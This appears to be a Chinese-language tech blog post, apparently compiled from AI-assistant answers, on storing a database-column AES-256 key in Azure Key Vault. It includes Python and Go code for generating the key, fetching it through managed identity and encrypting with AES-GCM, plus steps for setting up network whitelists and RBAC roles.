<h3 class="wp-block-heading">步驟三：進入並點擊建立</h3>



<ol start="1" class="wp-block-list">
<li>點擊該「金鑰保險箱」服務進入。</li>



<li>進入後，點擊畫面左上角的 <strong>「＋ 建立」</strong>（或 Create）。</li>



<li>在建立的設定畫面中，有一欄叫做「定價層 (Pricing tier)」，您就可以在該處下拉選單自由選擇：
<ul class="wp-block-list">
<li><strong>標準 (Standard)：</strong> 使用軟體保護金鑰。</li>



<li><strong>進階 (Premium)：</strong> 使用符合 FIPS 140 的 HSM（硬體安全模組）保護金鑰。</li>
</ul>
</li>
</ol>



<p class="wp-block-paragraph">這兩者都支援您一開始提到的資料庫欄位加密（例如 Always Encrypted 的主金鑰 CMK 管理），且功能與設定介面完全一樣，您可以依預算與合規需求選擇！</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">在 Azure Key Vault 的語境中，「祕密 (Secrets)」<strong>與</strong>「金鑰 (Keys)」是兩種完全不同的資源類型，其核心加密機制與背後使用的硬體基礎也有很大的差異。</p>



<p class="wp-block-paragraph">以下為您詳細解析兩者的差異、使用時機，以及針對您要存放 <strong>Database Column AES Key（資料庫欄位加密金鑰）</strong> 該如何選擇。</p>



<h3 class="wp-block-heading">一、 「祕密 (Secrets)」 vs 「金鑰 (Keys)」 的核心差異</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>特性</strong></td><td><strong>祕密 (Secrets) <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f512.png" alt="🔒" class="wp-smiley" style="height: 1em; max-height: 1em;" /></strong></td><td><strong>金鑰 (Keys) <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f511.png" alt="🔑" class="wp-smiley" style="height: 1em; max-height: 1em;" /></strong></td></tr></thead><tbody><tr><td><strong>本質是什麼</strong></td><td><strong>純文字字串（Data 內容）</strong>。長度上限為 25KB，您可以把任何文字（如密碼、連接字串、API Key）塞進去。</td><td><strong>密碼編譯金鑰（Cryptographic Key）</strong>。由特定演算法（如 RSA、EC）產生的非對稱金鑰。</td></tr><tr><td><strong>運作機制</strong></td><td>當應用程式跟 Key Vault 要祕密時，Key Vault 會<strong>把明文字串直接回傳</strong>給應用程式，由應用程式自己拿去用。</td><td>金鑰<strong>永遠不會離開</strong> Key Vault（特別是 HSM 保護的金鑰）。加解密運算是<strong>在 Key Vault 內部（或 HSM 內）完成</strong>，再將結果回傳。</td></tr><tr><td><strong>主要功能</strong></td><td>純粹的安全儲存與讀取（Get/List）。</td><td>密碼編譯操作（Sign/Verify, Wrap/Unwrap, Encrypt/Decrypt）。</td></tr><tr><td><strong>硬體防護 (HSM)</strong></td><td>僅能由軟體提供安全防護與加密。</td><td>在「進階層」或「受控 HSM」中，金鑰生成與運算完全在 <strong>HSM 硬體</strong>內進行，連 Azure 系統管理員也無法導出。</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">二、 什麼時候用「祕密」？什麼時候用「金鑰」？</h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 使用「祕密 (Secrets)」的時機：</h4>



<ul class="wp-block-list">
<li>存放資料庫連接字串（Connection String，例如：<code>Server=tcp:sqlserver...;User ID=myadmin;Password=...</code>）。</li>



<li>存放第三方 API Token 或認證私鑰（如 SendGrid API Key、LINE Bot Token）。</li>



<li>存放一般的帳號密碼。</li>
</ul>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 使用「金鑰 (Keys)」的時機：</h4>



<ul class="wp-block-list">
<li>用於資料磁盘加密（Azure Disk Encryption）或儲存體加密（BYOK &#8211; Bring Your Own Key）。</li>



<li>需要高規格的密碼學合規需求（如 FIPS 140 驗證）。</li>



<li><strong>用於保護、加密其他資料加密金鑰（如金鑰信封機制 Envelope Encryption）。</strong></li>
</ul>



<h3 class="wp-block-heading">三、 結論：要存放 Database Column AES Key，該選哪一個？</h3>



<p class="wp-block-paragraph">針對您提到的 <strong>Database Column AES Key（對稱式加解密金鑰）</strong>，選擇的關鍵取決於您的<strong>加密實作架構</strong>：</p>



<h4 class="wp-block-heading">方案 A：如果您使用的是資料庫內建的 Always Encrypted（始終加密）功能（強烈推薦 <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2b50.png" alt="⭐" class="wp-smiley" style="height: 1em; max-height: 1em;" />）</h4>



<ul class="wp-block-list">
<li><strong>請選擇 ➔ 金鑰 (Keys)</strong></li>



<li><strong>原因：</strong> 在 Azure SQL / SQL Server 的 Always Encrypted 機制中，欄位是用 <strong>DEK（資料加密金鑰，一組 AES-256 金鑰）</strong> 加密的。而這把 DEK 必須由一把 <strong>CMK（主加密金鑰）</strong> 來進行保護（Wrap/Unwrap）。</li>



<li><strong>如何實作：</strong> 您應該在 Azure Key Vault 的 <strong>「金鑰 (Keys)」</strong> 中建立一把 RSA 金鑰作為 CMK。SQL Server 驅動程式會自動呼叫 Key Vault 的金鑰來解密 DEK，整個過程中，應用程式和工程師都碰不到最核心的主金鑰。</li>
</ul>



<h4 class="wp-block-heading">方案 B：如果是您自己的應用程式（程式碼）要自行實作 AES-256 加解密</h4>



<ul class="wp-block-list">
<li><strong>請選擇 ➔ 祕密 (Secrets)</strong></li>



<li><strong>原因：</strong> 因為 Azure Key Vault 的「金鑰 (Keys)」目前<strong>原生只提供非對稱式金鑰（如 RSA、EC）</strong>，並不直接提供純對稱式 AES 金鑰的儲存與應用程式端直接讀取。</li>



<li><strong>如何實作：</strong> 您在自己的電腦或程式中產生一組 AES-256 的 Key（通常是一串 Base64 編碼的字串），然後將這串字串當作文字，存入 Azure Key Vault 的 <strong>「祕密 (Secrets)」</strong> 中。當程式需要加解密欄位時，先去 Key Vault 把這個「祕密」抓回到應用程式的記憶體中，再在程式碼裡用 AES 演算法去解密資料庫欄位。</li>
</ul>



<h3 class="wp-block-heading">總結建議</h3>



<ol start="1" class="wp-block-list">
<li>如果可以，請採用 <strong>Azure SQL / SQL Server 的 Always Encrypted</strong> 機制，並在 Azure Key Vault 中建立 <strong>「金鑰 (Keys)」</strong> 來當作主金鑰。這是業界最標準且最安全的資料庫欄位加密做法。</li>



<li>如果是傳統程式碼（例如自寫的 Python/C# Encrypt class）需要一把固定密碼來做 AES 欄位加解密，請將該密碼存入 <strong>「祕密 (Secrets)」</strong>。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">這裡為您提供一份 Python 腳本。這個腳本會示範如何遵循資訊安全最佳實踐，產生一組安全的 <strong>AES-256 金鑰</strong>（使用加密等級的隨機亂數，而非一般隨機），並將其轉換為最適合存入 Azure Key Vault「祕密 (Secrets)」的 <strong>Base64 編碼字串</strong>。</p>



<p class="wp-block-paragraph">此外，腳本中也附帶了如何使用這把金鑰進行欄位加解密的範例。</p>



<h3 class="wp-block-heading">事前準備</h3>



<p class="wp-block-paragraph">在執行腳本前，請確保您的環境已安裝 <code>cryptography</code> 套件（這是目前 Python 最推薦、最安全的密碼學函式庫）：</p>



<p class="wp-block-paragraph">Bash</p>



<pre class="wp-block-code"><code>pip install cryptography
</code></pre>



<h3 class="wp-block-heading">Python 實作腳本</h3>



<p class="wp-block-paragraph">Python</p>



<pre class="wp-block-code"><code>import base64
import os
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

def generate_aes_256_key_for_azure_secret():
    """
    產生一組符合 AES-256 要求（32 位元組 / 256 位元）的安全隨機金鑰，
    並將其編碼為 Base64 字串，方便複製並貼上到 Azure Key Vault 的「祕密」中。
    """
    # 1. 使用作業系統等級的安全隨機來源產生 32 bytes (256 bits) 的密鑰資料
    raw_key = os.urandom(32)
    
    # 2. 轉換為 Base64 編碼的文字字串，這樣才能以「純文字」存入 Azure Secret
    base64_encoded_key = base64.b64encode(raw_key).decode('utf-8')
    
    return base64_encoded_key


# ==========================================
# 示範：如何使用這把金鑰在程式中加解密資料庫欄位
# ==========================================
def encrypt_column_data(plain_text: str, base64_key: str) -&gt; str:
    """使用 AES-GCM 演算法加密資料庫欄位 (安全且含完整性校驗)"""
    # 從 Base64 還原回原始的 bytes 金鑰
    key_bytes = base64.b64decode(base64_key.encode('utf-8'))
    aesgcm = AESGCM(key_bytes)
    
    # 產生一個唯一的 nonce (初始化向量)，每次加密都必須不同
    nonce = os.urandom(12) 
    
    # 加密資料
    encrypted_bytes = aesgcm.encrypt(nonce, plain_text.encode('utf-8'), None)
    
    # 將 nonce 和加密後的資料組合，並轉為 Base64 方便存入資料庫的 VARCHAR 或 TEXT 欄位
    final_data = nonce + encrypted_bytes
    return base64.b64encode(final_data).decode('utf-8')


def decrypt_column_data(cipher_text: str, base64_key: str) -&gt; str:
    """解密資料庫欄位"""
    key_bytes = base64.b64decode(base64_key.encode('utf-8'))
    aesgcm = AESGCM(key_bytes)
    
    # 還原資料庫中的密文
    raw_data = base64.b64decode(cipher_text.encode('utf-8'))
    
    # 拆分出前 12 位元組的 nonce 和後面的密文
    nonce = raw_data&#91;:12]
    encrypted_bytes = raw_data&#91;12:]
    
    # 解密
    decrypted_bytes = aesgcm.decrypt(nonce, encrypted_bytes, None)
    return decrypted_bytes.decode('utf-8')


# --- 執行測試 ---
if __name__ == "__main__":
    print("--- 1. 開始產生 AES-256 金鑰 ---")
    my_secret_key = generate_aes_256_key_for_azure_secret()
    
    print(f"【請複製以下這串文字，存入 Azure Key Vault 的『祕密』中】:")
    print(f"==&gt; {my_secret_key}\n")
    
    print("--- 2. 模擬資料庫欄位加解密測試 ---")
    sensitive_data = "850101-1234567" # 假設這是敏感的身分證字號或信用卡號
    print(f"原始欄位明文: {sensitive_data}")
    
    # 加密
    encrypted_db_column = encrypt_column_data(sensitive_data, my_secret_key)
    print(f"寫入資料庫的加密密文: {encrypted_db_column}")
    
    # 解密
    decrypted_db_column = decrypt_column_data(encrypted_db_column, my_secret_key)
    print(f"從資料庫取出並解密後的明文: {decrypted_db_column}")
</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 接下來在 Azure 的實際操作流程</h3>



<ol start="1" class="wp-block-list">
<li>執行上方腳本，終端機會印出一串類似 <code>rXg7B...=</code> 的 <strong>Base64 字串</strong>。</li>



<li>登入 Azure Portal，進入您的 <strong>金鑰保險箱 (Key Vault)</strong>。</li>



<li>在左側選單中點選 <strong>「祕密 (Secrets)」</strong> ➔ 點擊上方的 <strong>「＋ 產生/匯入」</strong>。</li>



<li><strong>設定參數：</strong>
<ul class="wp-block-list">
<li><strong>上傳選項：</strong> 手動</li>



<li><strong>名稱：</strong> 例如 <code>DbColumnEncryptionKey</code></li>



<li><strong>祕密值：</strong> <strong>把剛剛 Python 產生的那串 Base64 字串貼進來</strong>。</li>
</ul>
</li>



<li>點擊建立。之後您的應用程式（例如部署在 Azure App Service 或 VM 上）只要透過受控識別（Managed Identity）去撈取這個名為 <code>DbColumnEncryptionKey</code> 的祕密，就能直接套用在程式中的加解密邏輯了。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph"><strong>是的，非常正確！強烈建議將這把金鑰放入 Azure Key Vault。</strong></p>



<p class="wp-block-paragraph">如果把 <code>AES_KEY</code> 寫死在程式碼、或是以明文寫在伺服器上的 <code>.env</code> 檔案中，一旦伺服器被駭、程式碼上傳到公開的 GitHub、或是離職員工外洩，資料庫的所有加密欄位就會被全部看光。此外，伺服器硬碟損壞也可能導致 <code>.env</code> 檔案永久遺失。</p>



<p class="wp-block-paragraph">將金鑰放入 Azure Key Vault (AKV) 可以同時解決「安全保護」<strong>與</strong>「防止遺失」兩大問題。以下為您說明為什麼該放，以及最安全、最標準的架構該怎麼做：</p>



<h3 class="wp-block-heading">1. 放在 Key Vault 為什麼能「防遺失」？</h3>



<p class="wp-block-paragraph">在 Azure Key Vault 中，您可以開啟以下兩個核心安全開關（通常在建立 Key Vault 時就預設開啟了）：</p>



<ul class="wp-block-list">
<li><strong>軟刪除 (Soft-delete)：</strong> 就算有人（或您自己）不小心點到刪除金鑰，金鑰不會立刻消失，而是會進入資源回收桶，在保留期內（預設 90 天）都可以一鍵復原。</li>



<li><strong>清除保護 (Purge Protection)：</strong> 開啟後，任何人（包括最高管理員）都<strong>無法強行永久刪除</strong>回收桶裡的金鑰，必須等到保留天數過期，這能徹底防範惡意員工報復性刪除金鑰。</li>
</ul>



<h3 class="wp-block-heading">2. 進階安全做法：Go 語言 Container 該如何安全讀取 Key Vault？</h3>



<p class="wp-block-paragraph">既然要把金鑰放進 Key Vault，您的 Container 程式就不應該在啟動時透過 <code>.env</code> 檔案傳入金鑰，因為那樣只是把風險轉移到 <code>.env</code> 檔案上。</p>



<p class="wp-block-paragraph"><strong>最標準的雲端安全架構流程如下：</strong></p>



<pre class="wp-block-code"><code>&#91;Azure Container / 您的程式]
       │
       ├─ 1. 使用「受控識別 (Managed Identity)」向 Azure 證明自己是合法會程式
       │
       ├─ 2. 透過 Azure SDK 直接呼叫 Key Vault 
       ▼
&#91;Azure Key Vault] ──(確認權限)──&gt; 3. 將金鑰安全地回傳到 Go 程式的記憶體中
</code></pre>



<h4 class="wp-block-heading">實作步驟：</h4>



<h5 class="wp-block-heading">步驟一：在 Go 程式中引入 Azure SDK</h5>



<p class="wp-block-paragraph">Go 語言有官方維護的 Azure SDK，可以讓程式直接安全地跟 Key Vault 溝通：</p>



<p class="wp-block-paragraph">Bash</p>



<pre class="wp-block-code"><code>go get github.com/Azure/azure-sdk-for-go/sdk/azidentity
go get github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azsecrets
</code></pre>



<h5 class="wp-block-heading">步驟二：Go 程式碼範例</h5>



<p class="wp-block-paragraph">您的 Go 語言程式可以直接改寫成這樣，在啟動時自動去 Key Vault 抓取變數：</p>



<p class="wp-block-paragraph">Go</p>



<pre class="wp-block-code"><code>package main

import (
	"context"
	"fmt"
	"log"
	"os"

	"github.com/Azure/azure-sdk-for-go/sdk/azidentity"
	"github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azsecrets"
)

func main() {
	// 1. 設定您的 Key Vault 網址 (這可以放在環境變數中，這個網址公開也沒關係)
	vaultURL := "https://kv-pr-stg-jpe-001.vault.azure.net/"

	// 2. 使用 DefaultAzureCredential
	// 它會自動偵測環境。在本地會讀您的 Azure CLI 登入身分；在雲端會自動使用 Container 的 Managed Identity
	cred, err := azidentity.NewDefaultAzureCredential(nil)
	if err != nil {
		log.Fatalf("無法取得憑證: %v", err)
	}

	// 3. 建立 Key Vault 祕密用戶端
	client, err := azsecrets.NewClient(vaultURL, cred, nil)
	if err != nil {
		log.Fatalf("無法建立 Key Vault 用戶端: %v", err)
	}

	// 4. 從 Key Vault 撈取您的 AES 金鑰
	secretName := "projectname-database-column-aes-key"
	resp, err := client.GetSecret(context.TODO(), secretName, "", nil)
	if err != nil {
		log.Fatalf("撈取祕密失敗 (請檢查上一輪的 IAM 權限是否指派正確): %v", err)
	}

	// 5. 這就是您的 AES-256 金鑰（Base64 字串）
	aesKey := *resp.Value
	fmt.Printf("成功安全地下載金鑰！長度為: %d\n", len(aesKey))

	// 接下來就可以拿這把 aesKey 去做資料庫欄位加解密了...
}
</code></pre>



<h3 class="wp-block-heading">總結</h3>



<ol start="1" class="wp-block-list">
<li><strong>立刻把金鑰放到 Key Vault 的「祕密 (Secrets)」中。</strong></li>



<li>確保在 Key Vault 的「存取設定」中開啟了 <strong>軟刪除</strong> 與 <strong>清除保護</strong>。</li>



<li>容器（Container）內<strong>不需要存任何 <code>.env</code> 金鑰檔案</strong>，改用 <strong>Azure SDK (DefaultAzureCredential)</strong> 讓程式在啟動時動態去 Key Vault 撈取。</li>
</ol>



<p class="wp-block-paragraph">這樣做，您的金鑰就絕對不會遺失，也達到了企業級的資安標準！</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">這裡為您提供 <strong>Python 版本</strong>的腳本。這個腳本遵循與前面相同的安全架構：</p>



<p class="wp-block-paragraph">容器（Container）內<strong>完全不需要攜帶任何 <code>.env</code> 檔案</strong>。Python 程式在啟動時，會透過 Azure 官方 SDK 搭配 <strong>受控識別 (Managed Identity)</strong>，自動且安全地向 <code>kv-pr-stg-jpe-001</code> 撈取金鑰並直接載入記憶體中使用。</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f40d.png" alt="🐍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 事前準備</h3>



<p class="wp-block-paragraph">在您的 Dockerfile 或本地環境中，請安裝 Azure Key Vault 與身分驗證所需的官方套件：</p>



<p class="wp-block-paragraph">Bash</p>



<pre class="wp-block-code"><code>pip install azure-identity azure-keyvault-secrets cryptography
</code></pre>



<h3 class="wp-block-heading">Python 實作腳本</h3>



<p class="wp-block-paragraph">Python</p>



<pre class="wp-block-code"><code>import base64
import os
import sys
from azure.identity import DefaultAzureCredential
from azure.keyvault.secrets import SecretClient
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

def fetch_aes_key_from_key_vault():
    """
    使用 Azure SDK 安全地從 Key Vault 撈取儲存的 AES-256 金鑰 (Base64 字串)
    """
    # 1. 定閱您的 Key Vault 網址 (這個網址公開在程式碼裡是安全的)
    vault_url = "https://kv-pr-stg-jpe-001.vault.azure.net/"
    
    # 2. 使用 DefaultAzureCredential 
    # 本地開發時：會自動讀取您電腦上 Azure CLI 登入的身分
    # 雲端 Container 環境：會自動使用該容器配給的 Managed Identity 身分
    credential = DefaultAzureCredential()
    
    try:
        # 3. 建立 Key Vault 祕密用戶端
        client = SecretClient(vault_url=vault_url, credential=credential)
        
        # 4. 撈取您在上一階段設定的祕密
        secret_name = "projectname-database-column-aes-key"
        retrieved_secret = client.get_secret(secret_name)
        
        print("Successfully connected to Azure Key Vault.")
        return retrieved_secret.value

    except Exception as e:
        print(f"Error fetching secret from Key Vault: {e}", file=sys.stderr)
        print("請檢查您上一輪在 Key Vault 的 IAM 權限中，是否有正確將 'Key Vault Secrets Officer' 指派給該身分。", file=sys.stderr)
        sys.exit(1)


# ==========================================
# 密碼學核心：使用撈取到的金鑰進行加解密
# ==========================================
def encrypt_column_data(plain_text: str, base64_key: str) -> str:
    """使用 AES-GCM 演算法加密資料庫欄位"""
    # 還原原始 bytes 金鑰
    key_bytes = base64.b64decode(base64_key.encode('utf-8'))
    aesgcm = AESGCM(key_bytes)
    
    # 產生唯一的隨機 12-byte nonce
    nonce = os.urandom(12) 
    
    # 加密
    encrypted_bytes = aesgcm.encrypt(nonce, plain_text.encode('utf-8'), None)
    
    # 組合並轉為 Base64 字串以存入資料庫
    final_data = nonce + encrypted_bytes
    return base64.b64encode(final_data).decode('utf-8')


def decrypt_column_data(cipher_text: str, base64_key: str) -> str:
    """解密從資料庫取出的密文欄位"""
    key_bytes = base64.b64decode(base64_key.encode('utf-8'))
    aesgcm = AESGCM(key_bytes)
    
    # 解開資料庫的 Base64 密文
    raw_data = base64.b64decode(cipher_text.encode('utf-8'))
    
    # 拆分前 12 bytes 的 nonce 與後續密文
    nonce = raw_data&#91;:12]
    encrypted_bytes = raw_data&#91;12:]
    
    # 解密
    decrypted_bytes = aesgcm.decrypt(nonce, encrypted_bytes, None)
    return decrypted_bytes.decode('utf-8')


# --- 程式進入點 ---
if __name__ == "__main__":
    print("=== &#91;1] 正在向 Azure Key Vault 請求 AES 金鑰... ===")
    # 動態從雲端撈取金鑰，不留任何痕跡在實體硬碟上
    db_aes_key = fetch_aes_key_from_key_vault()
    print(f"【成功】已將金鑰安全載入記憶體。金鑰長度為: {len(db_aes_key)} 字元\n")
    
    print("=== &#91;2] 模擬資料庫欄位加解密測試 ===")
    sensitive_data = "projectname-user-ssn-123456"
    print(f"原始敏感資料: {sensitive_data}")
    
    # 測試加密
    encrypted_column = encrypt_column_data(sensitive_data, db_aes_key)
    print(f"準備寫入 DB 的加密密文: {encrypted_column}")
    
    # 測試解密
    decrypted_column = decrypt_column_data(encrypted_column, db_aes_key)
    print(f"從 DB 取出並成功解密明文: {decrypted_column}")
</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f433.png" alt="🐳" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 如何在 Docker 環境中執行它？</h3>



<ol start="1" class="wp-block-list">
<li><strong>本地測試：</strong>在您的個人電腦上，只要確保您的終端機已經執行過 <code>az login</code> 登入，這個 Python 腳本就能直接在本地執行，它會利用您的個人憑證去 Key Vault 撈取金鑰。</li>



<li><strong>部署到 Azure Container 環境（如 App Service / Container Apps）：</strong>
<ul class="wp-block-list">
<li>您不需要在容器內設定環境變數 <code>projectname-database-column-aes-key</code>。</li>



<li>您只需要在 Azure 控制台上，為該容器服務開啟 <strong>「受控識別 (Managed Identity)」</strong>。</li>



<li>回到 Key Vault 資源中，將 <strong>「Key Vault Secrets Officer」</strong> 或 <strong>「Key Vault Secrets User」</strong> 的角色指派給該容器的身分。</li>



<li>容器啟動後，官方 SDK (<code>DefaultAzureCredential</code>) 會自動完成所有驗證，無縫接軌！</li>
</ul>
</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">要在您位於日本東部的金鑰保險箱 <code>kv-pr-stg-jpe-001</code> 設定 Container（容器）的白名單，標準的做法是透過 <strong>Azure Key Vault 的「網路安全性 (Networking)」</strong> 功能。</p>



<p class="wp-block-paragraph">這樣可以確保<strong>只有來自您指定 Container 所在網路的流量</strong>才能存取這台 Key Vault，其他網際網路上的存取（即使有正確的帳號密碼或認證）都會被直接封鎖。</p>



<p class="wp-block-paragraph">設定方式取決於您的 Container 是部署在 Azure 的哪種服務中。以下為您說明兩種最常見情境的設定步驟：</p>



<h3 class="wp-block-heading">情境 A：您的 Container 部署在 Azure 虛擬網路 (VNet) 內</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>適用於：Azure Container Apps、AKS (Kubernetes)、Azure App Service (已啟用 VNet 整合) 或 Azure VM 上的 Docker。</em></p>
</blockquote>



<p class="wp-block-paragraph">這是最安全的作法，將 Key Vault 的存取權限制在特定的虛擬網路子網（Subnet）中：</p>



<h4 class="wp-block-heading">步驟 1：前往網路設定頁面</h4>



<ol start="1" class="wp-block-list">
<li>在 Azure Portal 進入您的金鑰保險箱 <code>kv-pr-stg-jpe-001</code>。</li>



<li>在左側選單中，找到「設定」分類下的 <strong>「網路功能 (Networking)」</strong>。</li>
</ol>



<h4 class="wp-block-heading">步驟 2：切換為允許選取的網路</h4>



<ol start="1" class="wp-block-list">
<li>在「防火牆與虛擬網路」標籤頁中，將「允許自以下位置存取:」從「所有網路」改選為 <strong>「選取的網路 (Selected networks)」</strong>。</li>
</ol>



<h4 class="wp-block-heading">步驟 3：加您的 Container 子網路加入白名單</h4>



<ol start="1" class="wp-block-list">
<li>在下方的「虛擬網路」區塊中，點擊 <strong>「+ 新增現有的虛擬網路 (Add existing virtual network)」</strong>。</li>



<li>選擇您的 Container 所在的 <strong>訂閱</strong>、<strong>虛擬網路 (VNet)</strong> 以及特定的 <strong>子網路 (Subnet)</strong>。</li>



<li>點擊頁面最下方的 <strong>「儲存 (Save)」</strong>。</li>
</ol>



<h3 class="wp-block-heading">情境 B：您的 Container 具有固定的公用 IP (Public IP)</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>適用於：您的 Container 部署在公司地端機房、其他雲端（如 AWS），或是 Azure 上帶有固定輸出的公用 IP 服務。</em></p>
</blockquote>



<p class="wp-block-paragraph">如果 Container 無法直接透過 Azure 內網連接，就必須透過公用 IP 防火牆白名單來管控：</p>



<h4 class="wp-block-heading">步驟 1 與 2：同上</h4>



<p class="wp-block-paragraph">進入 <code>kv-pr-stg-jpe-001</code> ➔ <strong>「網路功能」</strong> ➔ 改選為 <strong>「選取的網路」</strong>。</p>



<h4 class="wp-block-heading">步驟 2：填入防火牆 IP 白名單</h4>



<ol start="1" class="wp-block-list">
<li>在下方的 <strong>「防火牆 (Firewall)」</strong> 區塊中。</li>



<li>在「位址或位址範圍」欄位，輸入您 <strong>Container 伺服器的對外公用 IP 位址</strong>（例如：<code>210.61.xx.xx</code> 或以 CIDR 格式表示如 <code>210.61.xx.xx/32</code>）。</li>



<li>點擊頁面最下方的 <strong>「儲存 (Save)」</strong>。</li>
</ol>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 極度重要的資安注意事項與陷阱</h3>



<ol start="1" class="wp-block-list">
<li><strong>不要勾選「允許受信任的 Microsoft 服務&#8230;」嗎？</strong>在網路安全性頁面的最下方，通常有一個「例外狀況」勾選框：<strong>「允許受信任的 Microsoft 服務略過此防火牆」</strong>。
<ul class="wp-block-list">
<li><strong>強烈建議勾選。</strong> 如果您未來有使用 Azure 內建的備份、Azure Monitor 診斷日誌，或是其他 Azure 核心服務要存取這台 Key Vault，勾選此項可以確保這些微軟內部信任的流量不會被硬生生擋掉。</li>
</ul>
</li>



<li><strong>本地開發電腦會斷線：</strong>當您一旦將網路改為「選取的網路」後，<strong>您自己的電腦也會立刻無法存取這台 Key Vault 的祕密</strong>（您在 Portal 網頁上看祕密會顯示拒絕存取，本地執行 Python 測試也會報錯）。
<ul class="wp-block-list">
<li><strong>解決方法：</strong> 在設定 Container 白名單的同時，記得在「防火牆」區塊中，勾選 <strong>「新增您的目前用戶端 IP 位址」</strong>，把您當下辦公室或家里的對外 IP 也一起暫時加進白名單，這樣您才能繼續進行開發與測試。</li>
</ul>
</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1953" height="966" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/chrome_2026-05-27-15-05-8s.jpg?v=1779866305" alt="" class="wp-image-8483" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/chrome_2026-05-27-15-05-8s.jpg?v=1779866305 1953w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/chrome_2026-05-27-15-05-8s-600x297.jpg?v=1779866305 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/chrome_2026-05-27-15-05-8s-1024x506.jpg?v=1779866305 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/chrome_2026-05-27-15-05-8s-768x380.jpg?v=1779866305 768w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/05/chrome_2026-05-27-15-05-8s-1536x760.jpg?v=1779866305 1536w" sizes="auto, (max-width: 1953px) 100vw, 1953px" /></figure>



<p class="wp-block-paragraph">看到您的截圖了！您的 Key Vault 目前選用的是 <strong>「Azure 角色型存取控制 (Azure RBAC)」</strong> 權限模型（畫面上藍色勾選的推薦項目）。</p>



<p class="wp-block-paragraph"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">使用&#8221;推薦項目&#8221;似乎會一直卡關, 建議使用第二個選項 &#8220;保存庫存取原則&#8221;.</mark></p>



<p class="wp-block-paragraph">在這個畫面上，您<strong>不需要勾選任何下方的「資源存取」選項</strong>（那些是給特定虛擬機器部署或磁碟加密用的，與您的資料庫欄位加密無關）。</p>



<p class="wp-block-paragraph">請直接點擊畫面中央那顆藍色的按鈕：<strong>「前往存取控制 (IAM)」</strong>，進去裡面指派角色。</p>



<p class="wp-block-paragraph">以下是點擊進去後的<strong>詳細操作步驟</strong>：</p>



<h3 class="wp-block-heading">步驟 1：新增角色指派</h3>



<p class="wp-block-paragraph">進入「存取控制 (IAM)」頁面後，點擊畫面上方的 <strong>「+ 新增 (Add)」</strong> ➔ 選擇 <strong>「新增角色指派 (Add role assignment)」</strong>。</p>



<h3 class="wp-block-heading">步驟 2：選擇「祕密主管」角色</h3>



<p class="wp-block-paragraph">在角色清單中，因為您要上傳（Set）AES 金鑰到「祕密」分類中，請搜尋並勾選以下角色：</p>



<ul class="wp-block-list">
<li><strong><code>Key Vault Secrets Officer</code></strong>（中文顯示為：<strong>金鑰保險箱祕密主管</strong>）</li>



<li><em>(注意：不要選到 Key Vault Secrets User，因為 User 只有讀取權限，無法執行寫入/SetSecret)</em></li>



<li>選好後點擊 <strong>「下一步」</strong>。</li>
</ul>



<h3 class="wp-block-heading">步驟 3：選取您的應用程式身分 (Object ID)</h3>



<ol start="1" class="wp-block-list">
<li>在「成員 (Members)」標籤頁中，將「指派存取權給」保持為 <strong>「使用者、群組或服務主體」</strong>。</li>



<li>點擊藍色的 <strong>「+ 選取成員 (+ Select members)」</strong>。</li>



<li>在右側跳出的搜尋欄中，直接黏貼您之前錯誤訊息中的 Object ID：<strong><code>7a85725f-a661-4489-baed-944f1ff241ca</code></strong></li>



<li>點擊下方搜尋出來的應用程式，讓它顯示在「選取的成員」列表中，然後點擊「選取」。</li>
</ol>



<h3 class="wp-block-heading">步驟 4：檢閱並指派</h3>



<p class="wp-block-paragraph">一路點擊 <strong>「下一步」</strong> 直到最後一頁，點擊 <strong>「檢閱並指派 (Review + assign)」</strong>。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



